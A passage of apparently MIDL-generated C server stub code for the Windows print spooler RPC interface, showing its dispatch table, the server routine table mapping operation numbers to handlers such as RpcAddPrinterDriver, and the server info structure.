2163 | NdrServerCall2,
2164 | NdrServerCall2,
2165 | NdrServerCall2,
2166 | NdrServerCall2,
2167 | NdrServerCall2,
2168 | NdrServerCall2,
2169 | NdrServerCall2,
2170 | NdrServerCall2,
2171 | NdrServerCall2,
2172 | NdrServerCall2,
2173 | NdrServerCall2,
2174 | NdrServerCall2,
2175 | NdrServerCall2,
2176 | NdrServerCall2,
2177 | NdrServerCall2,
2178 | NdrServerCall2,
2179 | NdrServerCall2,
2180 | NdrServerCall2,
2181 | NdrServerCall2,
2182 | NdrServerCall2,
2183 | NdrServerCall2,
2184 | NdrServerCall2,
2185 | NdrServerCall2,
2186 | NdrServerCall2,
2187 | NdrServerCall2,
2188 | NdrServerCall2,
2189 | NdrServerCall2,
2190 | NdrServerCall2,
2191 | NdrServerCall2,
2192 | NdrServerCall2,
2193 | NdrServerCall2,
2194 | NdrServerCall2,
2195 | NdrServerCall2,
2196 | NdrServerCall2,
2197 | NdrServerCall2,
2198 | NdrServerCall2,
2199 | NdrServerCall2,
2200 | NdrServerCall2,
2201 | NdrServerCall2,
2202 | NdrServerCall2,
2203 | NdrServerCall2,
2204 | NdrServerCall2,
2205 | NdrServerCall2,
2206 | NdrServerCall2,
2207 | NdrServerCall2,
2208 | NdrServerCall2,
2209 | NdrServerCall2,
2210 | NdrServerCall2,
2211 | NdrServerCall2,
2212 | NdrServerCall2,
2213 | NdrServerCall2,
2214 | NdrServerCall2,
2215 | NdrServerCall2,
2216 | NdrServerCall2,
2217 | NdrServerCall2,
2218 | NdrServerCall2,
2219 | NdrServerCall2,
2220 | NdrServerCall2,
2221 | 0
2222 | };
2223 | static const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable =
2224 | {
2225 | 66,
2226 | (RPC_DISPATCH_FUNCTION*)winspool_table
2227 | };
2228 |
2229 | static const SERVER_ROUTINE winspool_ServerRoutineTable[] =
2230 | {
2231 | (SERVER_ROUTINE)RpcEnumPrinters,
2232 | (SERVER_ROUTINE)RpcOpenPrinter,
2233 | (SERVER_ROUTINE)RpcSetJob,
2234 | (SERVER_ROUTINE)RpcGetJob,
2235 | (SERVER_ROUTINE)RpcEnumJobs,
2236 | (SERVER_ROUTINE)RpcAddPrinter,
2237 | (SERVER_ROUTINE)RpcDeletePrinter,
2238 | (SERVER_ROUTINE)RpcSetPrinter,
2239 | (SERVER_ROUTINE)RpcGetPrinter,
2240 | (SERVER_ROUTINE)RpcAddPrinterDriver,
2241 | (SERVER_ROUTINE)RpcEnumPrinterDrivers,
2242 | (SERVER_ROUTINE)RpcGetPrinterDriver,
2243 | (SERVER_ROUTINE)RpcGetPrinterDriverDirectory,
2244 | (SERVER_ROUTINE)RpcDeletePrinterDriver,
2245 | (SERVER_ROUTINE)RpcAddPrintProcessor,
2246 | (SERVER_ROUTINE)RpcEnumPrintProcessors,
2247 | (SERVER_ROUTINE)RpcGetPrintProcessorDirectory,
2248 | (SERVER_ROUTINE)RpcStartDocPrinter,
2249 | (SERVER_ROUTINE)RpcStartPagePrinter,
2250 | (SERVER_ROUTINE)RpcWritePrinter,
2251 | (SERVER_ROUTINE)RpcEndPagePrinter,
2252 | (SERVER_ROUTINE)RpcAbortPrinter,
2253 | (SERVER_ROUTINE)RpcReadPrinter,
2254 | (SERVER_ROUTINE)RpcEndDocPrinter,
2255 | (SERVER_ROUTINE)RpcAddJob,
2256 | (SERVER_ROUTINE)RpcScheduleJob,
2257 | (SERVER_ROUTINE)RpcGetPrinterData,
2258 | (SERVER_ROUTINE)RpcSetPrinterData,
2259 | (SERVER_ROUTINE)RpcWaitForPrinterChange,
2260 | (SERVER_ROUTINE)RpcClosePrinter,
2261 | (SERVER_ROUTINE)RpcAddForm,
2262 | (SERVER_ROUTINE)RpcDeleteForm,
2263 | (SERVER_ROUTINE)RpcGetForm,
2264 | (SERVER_ROUTINE)RpcSetForm,
2265 | (SERVER_ROUTINE)RpcEnumForms,
2266 | (SERVER_ROUTINE)RpcEnumPorts,
2267 | (SERVER_ROUTINE)RpcEnumMonitors,
2268 | (SERVER_ROUTINE)Opnum37NotUsedOnWire,
2269 | (SERVER_ROUTINE)Opnum38NotUsedOnWire,
2270 | (SERVER_ROUTINE)RpcDeletePort,
2271 | (SERVER_ROUTINE)RpcCreatePrinterIC,
2272 | (SERVER_ROUTINE)RpcPlayGdiScriptOnPrinterIC,
2273 | (SERVER_ROUTINE)RpcDeletePrinterIC,
2274 | (SERVER_ROUTINE)Opnum43NotUsedOnWire,
2275 | (SERVER_ROUTINE)Opnum44NotUsedOnWire,
2276 | (SERVER_ROUTINE)Opnum45NotUsedOnWire,
2277 | (SERVER_ROUTINE)RpcAddMonitor,
2278 | (SERVER_ROUTINE)RpcDeleteMonitor,
2279 | (SERVER_ROUTINE)RpcDeletePrintProcessor,
2280 | (SERVER_ROUTINE)Opnum49NotUsedOnWire,
2281 | (SERVER_ROUTINE)Opnum50NotUsedOnWire,
2282 | (SERVER_ROUTINE)RpcEnumPrintProcessorDatatypes,
2283 | (SERVER_ROUTINE)RpcResetPrinter,
2284 | (SERVER_ROUTINE)RpcGetPrinterDriver2,
2285 | (SERVER_ROUTINE)Opnum54NotUsedOnWire,
2286 | (SERVER_ROUTINE)Opnum55NotUsedOnWire,
2287 | (SERVER_ROUTINE)RpcFindClosePrinterChangeNotification,
2288 | (SERVER_ROUTINE)Opnum57NotUsedOnWire,
2289 | (SERVER_ROUTINE)RpcReplyOpenPrinter,
2290 | (SERVER_ROUTINE)RpcRouterReplyPrinter,
2291 | (SERVER_ROUTINE)RpcReplyClosePrinter,
2292 | (SERVER_ROUTINE)RpcAddPortEx,
2293 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotification,
2294 | (SERVER_ROUTINE)Opnum63NotUsedOnWire,
2295 | (SERVER_ROUTINE)Opnum64NotUsedOnWire,
2296 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotificationEx
2297 | };
2298 |
2299 | static const MIDL_SERVER_INFO winspool_ServerInfo =
2300 | {
2301 | &winspool_StubDesc,
2302 | winspool_ServerRoutineTable,
2303 | ms2Drprn__MIDL_ProcFormatString.Format,
2304 | winspool_FormatStringOffsetTable,
2305 | 0,
2306 | 0,
2307 | 0,
2308 | 0};
2309 | #pragma optimize("", on )
2310 | #if _MSC_VER >= 1200
2311 | #pragma warning(pop)
2312 | #endif
2313 |
2314 |
2315 | #endif /* !defined(_M_IA64) && !defined(_M_AMD64) && !defined(_ARM_) */
2316 |
2317 |
--------------------------------------------------------------------------------